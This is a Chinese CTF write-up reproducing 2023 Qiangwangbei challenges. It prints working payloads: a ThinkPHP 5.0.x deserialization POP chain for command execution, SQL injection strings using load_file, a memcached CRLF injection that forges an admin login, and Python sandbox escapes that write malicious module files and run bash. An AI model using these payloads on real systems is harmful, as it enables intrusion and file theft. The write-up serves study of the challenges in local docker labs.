2023强网杯部分赛题复现

ThinkShop

赛后复现

附件链接

提取码:2333

环境启动

docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop

复现过程

环境搭好了后进入docker查看sql文件发现插入的有admin的数据

image-20240125144022000

明显密码是123456

在Admin.php中发现登录路由

image-20240125144859740

但是登的时候发现账号密码并不对

再回去看看验证逻辑是怎么个事

public function do_login()
    {
​
        $username = input('post.username');
        $password = input('post.password');
        
​
        if (empty($username) || empty($password)) {
            $this->error('用户名或密码不能为空');
        }
        if(strlen($password) > 100)
        {
            $this->error('用户名或密码错误');
        }
​
        // 使用md5对输入的密码进行加密
        $encryptedPassword = md5($password);
​
        // 设置缓存键和有效期
        $Key = ["Login" , $username];
        $Expire = 600; // 缓存有效期为10分钟 (600秒)
​
        // 尝试从缓存中获取数据
        $adminData = Db::table('admin')
            ->cache(true, $Expire)
            ->find($username);
​
        if ($adminData && $adminData['password'] === $encryptedPassword) {
            // 登录成功,设置session
            session('admin', $adminData['username']);
​
​
            $this->success($username.'登录成功', 'index/admin/goods_edit');
        } else {
            $this->error('用户名或密码错误');
        }
    }

看起来是很正常的从admin表中找,但是问题就是出在这个find函数,find要不就是无参,要不就是键值对。但是要是有参的情况下那么默认就会查找表中的主键列,也就是说find('admin')返回的是admin的id即

find('admin')=> 1

image-20240125145707977

所以就输入 1 123456

image-20240125145755712

进入后台了这就,继续分析代码,因为这是thinkphp框架(5.0.23版本),存在很多已知的版本漏洞,要找到反序列化入口就会容易很多。

在good_edit.html里发现有反序列化点

image-20240125150120057

然后就是怎么控制这个$goods['data']

首先是Admin.php->do_edit()

image-20240125151028959

Good.php->saveGoods()->save()

image-20240125151247199

Update.php->updatedata

image-20240125151506636

没有任何过滤,并且在上面的data数组我们也可控即这里的foreach里面的数组键值都可控,存在sql注入

$value被hex了,可以通过构造这个$key(do_edit里面post传的值)来达到目的

rtrim()会去除空格所以用/**/代替空格

因为本来的逻辑就是处理16进制数据所以依然按照这个逻辑

data`=unhex('3132333435')/**/where/**/id=1/**/or/**/1=1#

拼接后的sql语句就是

UPDATE $table SET `data`= unhex('这里填十六进制数据')/**/where/**/id=1/**/or/**/1=1#

url编码一下传参试试

image-20240125160214306

image-20240125160225343

找个链子去RCE就行了

ThinkPhp5.0.24 RCE

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        {
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    //自行构造
    $a = array(new Windows('system','cat /f*'));
    echo bin2hex(base64_encode(serialize($a)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    {}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        {
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct($function,$parameter)
        {
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        {
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
    {
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        {
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        {
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
​

image-20240125160733879

ThinkShoping

环境配置

附件链接

提取码:2333

启动

docker load < thinkshopping.tar
docker run -tid --name thinkshop -p 36001:80 -e FLAG=flag{test_flag} 镜像ID

复现过程

需要替换一下goods_edit.html文件

 {php}use app\index\model\Goods;$view=new Goods();echo $goods['data'];{/php}

主要就是把反序列化入口给删了

然后就是admin数据没有了

image-20240125181835574

但是sql注入点还是在的

image-20240125182303704

也就是说我们可以通过进入后台然后用load_file读flag

那么怎么才能登进去是个问题

image-20240125183150511

容器在启动的时候使用了memcached,配置文件也配置了

image-20240125183315827

登录时候也是从缓存中读取数据

image-20240125183409282

跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中

image-20240125183700515

  $key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
//这里就是设置key的格式为think:admin.shop|username

至于这个key的格式为什么不是shop.admin没看懂毕竟shop不才是数据库么

到这里就可以通过memcached存在CRLF漏洞,来注入一个账号然后登录进去sql参考文章

Memcached

set命令

Memcached的set命令用于将value存储在指定的key中,如果key已存在则会更新key值。

基本语法如下:

set key flags exptime bytes [noreply] 
value 
  • key:键值 key-value 结构中的 key,用于查找缓存值。

  • flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。

  • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)。

  • bytes:在缓存中存储的字节数。

  • noreply(可选): 该参数告知服务器不需要返回数据。

  • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)。

get命令

Memcached的get命令获取存储在key中的value,如果key不存在则会返回为空。

基本语法如下:

get key
或
get key1 key2 key3
  • key:键值 key-value 结构中的 key,用于查找缓存值。

其中的set命令就可以让我们们注入进去账号密码,但是我们不知道格式是什么

我们可以将下面内容插入到路由看看,记得把类补全然后访问一下test

    public function test(){
        $result = Db::query("select * from admin where id=1");
        var_dump($result);
        $a = "think:shop.admin|admin";
        Cache::set($a, $result, 3600);
    }

然后插入一个账户admin:123

INSERT INTO `admin` (`username`, `password`) VALUES
('admin', '202cb962ac59075b964b07152d234b70');

image-20240304181329048

下载telnet命令

apt -y install telnet

看看内容

telnet 127.0.0.1 11211
get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"202cb962ac59075b964b07152d234b70";}}

image-20240304184318661

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4

username=admin(空)(回车)(换行)
set think:shop.admin|admin 4 500 101(空)(回车)(换行)
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}
&password=admin
username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

抓包改然后重新登录

image-20240304185717581

image-20240304185912467

注意随着admin传参,要有\r和\n,也就是CRLF。登录进去之后,之前的sql注入点并没有修复。可以利用sql注入漏洞来写shell或者读文件。

value为空,没有设置可被导入的路径,那么就可以任意文件读取了。

data`=load_file('/fffflllaaaagggg')/**/where/**/id=1/**/or/**/1=1#=1
data`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa

image-20240304190936471

Pyjail ! It's myFilter !!&!Pyjail ! It's myRevenge !!!

源码

import code, os, subprocess
import pty
​
​
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")
​
​
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
​
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
​
del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")
​
blacklist_words = ['subprocess', 'os', 'code', 'interact', 'pty', 'pdb', 'platform', 'importlib', 'timeit', 'imp', 'commands', 'popen', 'load_module', 'spawn', 'system', '/bin/sh', '/bin/bash', 'flag', 'eval', 'exec', 'compile', 'input', 'vars', 'attr', 'dir', 'getattr', '__import__', '__builtins__', '__getattribute__', '__class__', '__base__', '__subclasses__', '__getitem__', '__self__', '__globals__', '__init__', '__name__', '__dict__', '._module', 'builtins', 'breakpoint', 'import']
​
def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True
​
while (
    "{" in input_code and "}" in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65
):
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")
​

两道沙箱逃逸,代码都是一样的可能是因为第一题有非预期直接读环境变量可以读到flag

{print(open("/proc/self/environ").read())}

因为看出来open没有被禁用了,而明显这道题RCE才是真正的浪漫

接下来就是探求如何RCE了

由于本身最开始沙箱逃逸就学的比较浅,正好 Tr0y 师傅这次又仔细的复现了qwb三道沙箱逃逸,我也是重新仔细学习了,下面很多都借鉴师傅的博客,我发博客也很多都是记录自己的学习过程。感恩!

分析

内置模块的方法劫持

首先,由于 os.system 等内置模块的方法被劫持到 blacklist_fun_callback 了,所以即使我们 exp 中可以 import os,拿到的 os.system 也依旧是 blacklist_fun_callback,原因是 Python 模块导入的缓存机制。为了确保模块单例以及支持模块重用机制,在执行 import 的时候,如果模块是第一次导入,python 会在导入模块的同时把模块名称保存在 sys.modules 这个字典里;如果在导入模块的时候发现它已经在这个字典里了,就会直接返回 sys.modules 中模块对应的值。在这个缓存机制的影响下,题目中修改了众多内置模块的方法,比如 subprocess.Popen,那就意味着后续所有代码中间接使用到的 subprocess.Popen 也会被劫持。例如, help() 可以用来做 python 沙箱逃逸,原因是因为背后执行了 more,在 more 里可以用 ! 来执行任意命令,比如 !id。但可能少为人知的是,help() 背后是 pydoc,在 pydoc.py 中使用了 subprocess.Popen 或者 os.system

如果要解决这个问题,最简单的方式就是删除 sys.modules 中的 subprocess,然后重新 import 一次。

内置函数劫持

vars 等内置方法也被劫持到 blacklist_fun_callback 了。但这里与上面不同,这个修改并不会影响其他模块的 vars。因为 python 查找变量的顺序是 LEGB 法则,因此 vars 变量的顺序是先从本地命名空间开始,然后是包含它的模块的命名空间,最后是内置命名空间。由于其他模块中没有局部或模块级别的 vars 定义,所以它们内部会使用 __builtins__ 中的原始 vars 函数。如果我们想对内置函数做与上面相同的劫持,应该使用 __builtins__.vars = blacklist_fun_callback

如果想在当前上下文中恢复这些内置函数,只需要清空 locals() 或者 globals() 即可(这里它们是一个东西,因为我们的 exp 是在模块层级上执行的,因此 locals()globals() 是同一个字典),这样一来,python 按照 LEGB 法则就会找到 B 的 vars。

LEGB

LEGB 法则是 Python 中用于确定变量作用域的规则,它是一个缩写,分别代表了四个作用域:

  1. Local (局部作用域):指的是在函数内部定义的变量,只在该函数内部有效。

  2. Enclosing (嵌套作用域):指的是在嵌套函数中,内部函数可以访问外部函数的变量,但外部函数不能访问内部函数的变量。

  3. Global (全局作用域):指的是在模块级别定义的变量,可以在整个模块中被访问。

  4. Built-in (内置作用域):指的是 Python 内置的变量和函数,可以在任何地方访问。

当 Python 解释器寻找变量时,它会按照 LEGB 的顺序搜索作用域,即先从局部作用域开始搜索,然后逐级向外寻找,直到找到为止。如果在这个过程中找不到对应的变量,Python 解释器会抛出 NameError。

其他

这些相对比较常规:

  • exp 中不能出现 blacklist_words 的所有关键字

  • eval 不能出现在 exp 里

  • exp 所有字符必须全部为 ascii 码

  • exp 长度最长为 64

思路 1:常规沙箱逃逸

我们注意到代码中 eval(f"f'{input_code}'") 使用了两层 f-string,不但本身可以直接执行任意代码,也可以通过单引号来进行代码注入。这就意味着直接通过 {eval("1+1")} 来执行任意代码,但由于 blacklist_words 的限制,所以通常会想到用 Unicode 变量名,但是 while 里做了限制,此路不通;还有就是搞一个字符串出来做分隔,例如 f'{ev''al("1+1")}',但这也有新的问题,我们为了生成 eval,又加入了 f-string,而 f-string 中如果用到 {},则字符串必须是连续的,例如 f'{1*' + f'1}' 是会报错的。加上其他条件的严格限制(尤其是长度和对方法进行劫持),常规沙箱逃逸的 payload 均宣告出局。

其中:在 Python 中,f-string 中的表达式会在运行时被求值。因此,如果 input_code 是一个字符串,f'{input_code}' 将会产生一个新的字符串,它的内容是 input_code 的值。而由于这个新字符串也是一个有效的 Python 代码,所以它可以被 eval() 函数执行。

思路 2:覆盖模块

虽然我们没有办法直接 import,但是通过执行内置的一些函数可以实现间接执行 import。上面提到,help() 由于 subprocess.Popen 被劫持导致无法正常执行,其实这里我们也可以用这个思路,经过代码分析,在 python 的 /lib/python3.9/_sitebuiltins.py 中发现有 import pydoc

而 open 又不受限制,这就意味我们只需要在执行目录下创建一个 pydoc.py,往里面写要执行的代码即可实现任意代码执行,也就意味着实现了 RCE:

# 首先创建文件并覆盖内容,第一批写入文件内容为
# __import__("importlib"
''{open("pydoc.py","w").write('__im''port__("im''portlib"')}''
​
# 继续写入
# ).reload(__import__("os"
''{open("pydoc.py","a").write(').reload(__im''port__("o''s"')}''
​
# 继续写入
# )).system("whoami")
''{open("pydoc.py","a").write(')).sys''tem("whoami")')}''

pydoc.py 写入完毕之后,再次运行题目代码,只需要输入 {help()} 即可执行设定好的代码:

image-20240306182524480

还有

所以我们可以写入一个code.py,当我们再次NC的时候就会触发恶意代码。

payload如下

{open("cod"+"e.py","w").write("eva"+"l(inpu"+"t())")}

当我们第二次nc的时候我们只需要__import__('os').system('cat flag*')即可获取flag

还有

海象表达式,通过写文件绕过长度限制

exp:

{open("A","w").write("{(a:=().__cla"+"ss__.__bases__[0]")}
{open("A","a").write(",open(chr(66)).read())[1]}")}
{open("B","w").write("{(a:=a.__subcl"+"asses__()[104]()")}
{open("B","a").write(",open(chr(67)).read())[1]}")}
{open("C","w").write("{(a:=a.load_mo"+"dule")}
{open("C","a").write(",open(chr(68)).read())[1]}")}
{open("D","w").write("{(a:=a(chr(111)+chr(115))")}
{open("D","a").write(",open(chr(69)).read())[1]}")}
{open("E","w").write("{(a:=a.listd"+"ir()[6]")}
{open("E","a").write(",open(chr(70)).read())[1]}")}
{open("F","w").write("{print(open(a).read())}")}
{(my_filter:=lambda x:True,open("A").read())[1]}
​
print(open(().__class__.__bases__[0].__subclasses__()[104]().load_module(chr(111)+chr(115)).listdir()[6]).read())

其实还可以直接把 my_filter len 这些函数给覆盖掉,直接绕过

思路 3:利用循环+覆盖函数

如果 open 也无法使用呢?

由于题目中使用了 while,因此 eval 生成的值又会被赋给 input_code 重新参与 eval,那如果我们在第一轮循环中只要操作得当,就可以用一行输入来影响第二轮循环中 while 的判断,同时把最终 exp 传递给第二轮循环的 eval。

  1. "{" in input_code and "}" in input_code

  2. input_code.isascii()

  3. my_filter(input_code)

  4. "eval" not in input_code

  5. len(input_code) < 650

我们先来分析一下:

  • 条件 1、2、4 都是无能为力的,因为 input_code 作为内建类型,魔术方法(.__contains__)由于是由 Python 解释器在底层实现的,因此是不允许修改的。

  • 条件 3、5 我们可以动手脚,my_filterlen 都可以覆盖,需要一个参数,并且返回值必须为 True

所以,在第一轮的 exp 里我们需要把 globals() 清空,然后再把 my_filter 加上,最后利用题目中的 eval 来返回第二轮的 exp。那么问题来了,第二轮的 exp 应该是什么呢?

在第二轮的时候,经过第一轮的 eval,就只需要满足条件 1、2、4 即可,并且由于我们清空了 globals(),导致内置函数都恢复了,可谓是一箭双雕。这样我们就可以用 exec(input()) 来执行任意代码了。

由于第一轮 eval 必须返回字符串(主要是条件 2 的限制),所以我们可以用一个列表之类的东西来同时执行代码和返回需要的 exp:

'''
{
  (
  "{exec(input())}",
  globals().clear(),
  globals().update({"my_filter": id})
  )[0]
}
'''
​
{("{ex""ec(in""put())}",globals().clear(),globals().update({"my_filter":id}))[0]}
#这里用列表就是让返回的值是字符串

蛮吊蛮吊,但是长度太长了,81 个字符,距离 64 个字符还有点距离,因此我们尝试来缩短长度。

  • 首先 globals()locals() 在这里是等价的,但后者少一个字符,换!

  • 其次 "{ex""ec(in""put())}" 可以换成 {"{break""point()}"}

  • 只要返回字符串,不一定就得用列表或者元组,用条件表达式也可以,比如 or

于是可以得到一个长度为 74、73 的 exp:

'''
{
  locals().clear() or 
  locals().update({"my_filter": id}) or 
  "{break""point()}"
}
'''
​
# len == 74
{locals().clear()or locals().update({"my_filter":id})or"{break""point()}"}
​
# len == 73
{",break""point()#{}",locals().clear(),locals().update({"my_filter":id})}

感觉这个长度已经是极限了。然后我突然意识到,出题人为了避免自身代码受到影响,并没有劫持所有高危的内置函数,比如 eval,所以我又搞了个符合长度要求但是不满足条件的 exp:{["{ev""al(print(1))}",locals().update({"my_filter":id})][0]},因为第二轮 exp 中会出现 eval,而出题人在 while 里特别关照了 eval。那么还有哪些内置函数,出题人没有为了保障题目自身不出问题而没有劫持呢?答案就是 input()

在第二轮里我们可以通过 input 来引入额外的输入,输入的时候再引入 {},从而通过内层的 f-string 以及配合外层的 eval 进行代码执行。

继续倒推回去第一轮,由于 input 没有被劫持,所以连 locals().clear() 也可以省略,因此 exp 长度就可以大幅缩减:

'''
{
  (
    "{input()}",
    locals().update({"my_filter": id})
  )[0]
}
'''
​
{locals().update({"my_filter":id})or"{in""put()}"}
​

长度仅为 50!蛮吊蛮吊。

至此,我们不用写文件,也可以实现任意命令执行

还有

可以通过locals更改上下文中过滤函数和len函数,

然后再次通过while,通过input获得输入。

第一步先修改过滤函数,将过滤函数重置,因为第二步我们需要使用过滤中的input函数

''{locals().update({"my_filter":len})}{{{"inp"+"ut()"}}}''

第二步修改len函数,使得返回永远为0

''{locals().update({"len":lambda x:0})}{{{"inp"+"ut()"}}}''

最后通过os.execv执行任意函数

{print(__builtins__.__import__("os").execv("/bin/bash",["bash","-c","cat flag_D3C7274C3C03197DFAA463FAF7F41AACDA6B1102F4CA194D4BF09E20888C55F8"]))}